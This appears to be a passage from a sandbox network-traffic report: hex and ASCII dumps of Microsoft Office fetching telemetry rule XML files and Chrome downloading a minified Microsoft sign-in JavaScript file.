2024-12-05 21:17:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 76d3483c-401e-00a3-2bcc-458b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211702Z-1746fd949bd77mkmhC1EWR5efc00000003e000000000uxz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:02 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:02 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c29bf332-501e-00a0-0ccb-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211702Z-1746fd949bd6zq92hC1EWRry48000000033000000000zsd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:03 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:04 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e4103400-101e-008e-08d4-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211704Z-1746fd949bddgsvjhC1EWRum2c00000003k0000000009pc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49821	152.199.21.175	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:04 UTC	410	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:05 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5513650 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Thu, 05 Dec 2024 21:17:04 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-12-05 21:17:05 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-05 21:17:05 UTC	16383	IN	Data Raw: 29 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 Data Ascii: ))}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t
2024-12-05 21:17:05 UTC	16383	IN	Data Raw: 50 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 Data Ascii: PP_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"80041
2024-12-05 21:17:05 UTC	3	IN	Data Raw: 3a 22 55 Data Ascii: :"U
2024-12-05 21:17:05 UTC	16383	IN	Data Raw: 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 7d 2c Data Ascii: IEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0},
2024-12-05 21:17:05 UTC	16383	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 6e 6f Data Ascii: :function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("igno
2024-12-05 21:17:05 UTC	16383	IN	Data Raw: 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 Data Ascii: .m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function e
2024-12-05 21:17:05 UTC	16383	IN	Data Raw: 73 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 7c 7c Data Ascii: set")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e\|\|
2024-12-05 21:17:05 UTC	16383	IN	Data Raw: 75 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 68 Data Ascii: urn i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},th
2024-12-05 21:17:05 UTC	11300	IN	Data Raw: 3d 65 2e 6e 6f 74 69 66 79 4f 6e 43 6c 69 65 6e 74 41 62 6f 72 74 7c 7c 21 31 2c 6d 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 53 61 73 45 6e 64 41 75 74 68 50 6f 73 74 54 6f 47 65 74 53 77 69 74 63 68 2c 76 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 46 69 78 55 49 43 72 61 73 68 46 6f 72 41 70 69 52 65 71 75 65 73 74 48 61 6e 64 6c 65 72 3b 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 76 61 72 20 74 3d 7b 68 70 67 69 64 3a 64 2e 68 70 67 69 64 7c 7c 30 2c 68 70 67 61 63 74 3a 64 2e 68 70 67 61 63 74 7c 7c 30 7d 3b 72 65 74 75 72 6e 20 65 7c 7c 28 74 2e 41 63 63 65 70 74 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 6e 26 26 64 2e 61 70 69 43 61 6e 61 72 79 26 26 28 74 2e 63 61 6e 61 72 79 3d 64 2e 61 70 69 43 61 6e 61 72 79 29 29 2c 64 2e Data Ascii: =e.notifyOnClientAbort\|\|!1,m=l.ServerData.fSasEndAuthPostToGetSwitch,v=l.ServerData.fFixUICrashForApiRequestHandler;function b(e){var t={hpgid:d.hpgid\|\|0,hpgact:d.hpgact\|\|0};return e\|\|(t.Accept="application/json",n&&d.apiCanary&&(t.canary=d.apiCanary)),d.

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:04 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 490c4061-c01e-000b-75c3-45e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211704Z-1746fd949bdl6zq5hC1EWRf3ws00000002wg00000000nt4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:04 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: daea1f5e-401e-005b-68d1-459c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211704Z-1746fd949bdwt8wrhC1EWRu6rg00000003gg000000000uq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:04 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 74a2891b-101e-0065-173d-474088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211704Z-1746fd949bdxk6n6hC1EWRdr8c000000034000000000c09r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:05 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 